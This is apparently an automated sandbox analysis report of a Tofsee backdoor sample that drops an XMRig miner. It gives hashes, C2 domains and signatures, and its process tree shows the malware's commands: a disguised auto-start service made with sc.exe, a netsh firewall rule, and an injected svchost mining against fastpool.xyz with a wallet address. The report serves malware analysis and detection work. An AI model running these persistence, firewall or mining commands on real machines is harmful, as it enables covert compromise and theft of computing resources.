Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-12-2022 13:14

General

  • Target

    file.exe

  • Size

    297KB

  • MD5

    7373472e77b534039c4db7ae9e391676

  • SHA1

    f59ec4c10959a93fb6beaa9fcd05da50fca835b8

  • SHA256

    cd0a8babb7e0194bb05fdab6016b1a2a1d9afb4f580fa1a6c59af0dc45799715

  • SHA512

    bb5bca4643cccf6651ff710343e980e070b2ff74c21907fc3022317955be321f4327f2b0017f417eb2b70dfa98369b63dda64a58b1d92b2741d4c10cd7609171

  • SSDEEP

    6144:PLSYM+drICWkwnrkV3tc0J58xQ3xDPkMo5zXbAc:PGYMGpSnG9cs58xaxDPyrbA

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4652
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bclbxphx\
      2⤵
        PID:3068
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hbdlhbha.exe" C:\Windows\SysWOW64\bclbxphx\
        2⤵
          PID:2692
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bclbxphx binPath= "C:\Windows\SysWOW64\bclbxphx\hbdlhbha.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4552
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bclbxphx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bclbxphx
          2⤵
          • Launches sc.exe
          PID:1048
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:340
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4652 -s 1036
          2⤵
          • Program crash
          PID:4076
      • C:\Windows\SysWOW64\bclbxphx\hbdlhbha.exe
        C:\Windows\SysWOW64\bclbxphx\hbdlhbha.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4140
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2080
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2864
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 520
          2⤵
          • Program crash
          PID:4648
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4652 -ip 4652
        1⤵
          PID:5048
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4140 -ip 4140
          1⤵
            PID:2240

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hbdlhbha.exe

            Filesize

            11.3MB

            MD5

            6f9663c9398366d89734751c89f3e383

            SHA1

            123a8acf0854bf0a9d3cbea9c56852963faef2a9

            SHA256

            fe7fa572484b61ac2a74303aacea789e61954769547718d690ce144d76eb575e

            SHA512

            bce3aa71994cd2a2c34069bd313889c3728745371e2ebb9f3f0f8ce8a54d1d03c1bdeabe9eb65bf9f92745da309333567b1b8672cb2dddaabaca3df5cf497bee

          • C:\Windows\SysWOW64\bclbxphx\hbdlhbha.exe

            Filesize

            11.3MB

            MD5

            6f9663c9398366d89734751c89f3e383

            SHA1

            123a8acf0854bf0a9d3cbea9c56852963faef2a9

            SHA256

            fe7fa572484b61ac2a74303aacea789e61954769547718d690ce144d76eb575e

            SHA512

            bce3aa71994cd2a2c34069bd313889c3728745371e2ebb9f3f0f8ce8a54d1d03c1bdeabe9eb65bf9f92745da309333567b1b8672cb2dddaabaca3df5cf497bee

          • memory/340-142-0x0000000000000000-mapping.dmp

          • memory/1048-140-0x0000000000000000-mapping.dmp

          • memory/2080-159-0x00000000023F0000-0x0000000002400000-memory.dmp

            Filesize

            64KB

          • memory/2080-165-0x0000000007B00000-0x0000000007F0B000-memory.dmp

            Filesize

            4.0MB

          • memory/2080-168-0x0000000008190000-0x0000000008197000-memory.dmp

            Filesize

            28KB

          • memory/2080-162-0x0000000002FF0000-0x0000000002FF5000-memory.dmp

            Filesize

            20KB

          • memory/2080-156-0x00000000023E0000-0x00000000023E6000-memory.dmp

            Filesize

            24KB

          • memory/2080-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/2080-152-0x0000000000D70000-0x0000000000D85000-memory.dmp

            Filesize

            84KB

          • memory/2080-151-0x0000000000D70000-0x0000000000D85000-memory.dmp

            Filesize

            84KB

          • memory/2080-146-0x0000000000D70000-0x0000000000D85000-memory.dmp

            Filesize

            84KB

          • memory/2080-145-0x0000000000000000-mapping.dmp

          • memory/2692-136-0x0000000000000000-mapping.dmp

          • memory/2864-177-0x0000000000420000-0x0000000000511000-memory.dmp

            Filesize

            964KB

          • memory/2864-173-0x0000000000420000-0x0000000000511000-memory.dmp

            Filesize

            964KB

          • memory/2864-172-0x0000000000421000-0x00000000004F2000-memory.dmp

            Filesize

            836KB

          • memory/2864-171-0x0000000000000000-mapping.dmp

          • memory/3068-135-0x0000000000000000-mapping.dmp

          • memory/3668-139-0x0000000000000000-mapping.dmp

          • memory/4140-150-0x0000000000400000-0x000000000044E000-memory.dmp

            Filesize

            312KB

          • memory/4140-149-0x00000000004BA000-0x00000000004CF000-memory.dmp

            Filesize

            84KB

          • memory/4552-138-0x0000000000000000-mapping.dmp

          • memory/4652-144-0x0000000000400000-0x000000000044E000-memory.dmp

            Filesize

            312KB

          • memory/4652-132-0x00000000007AF000-0x00000000007C4000-memory.dmp

            Filesize

            84KB

          • memory/4652-134-0x0000000000400000-0x000000000044E000-memory.dmp

            Filesize

            312KB

          • memory/4652-133-0x00000000006E0000-0x00000000006F3000-memory.dmp

            Filesize

            76KB

          • memory/4652-143-0x00000000007AF000-0x00000000007C4000-memory.dmp

            Filesize

            84KB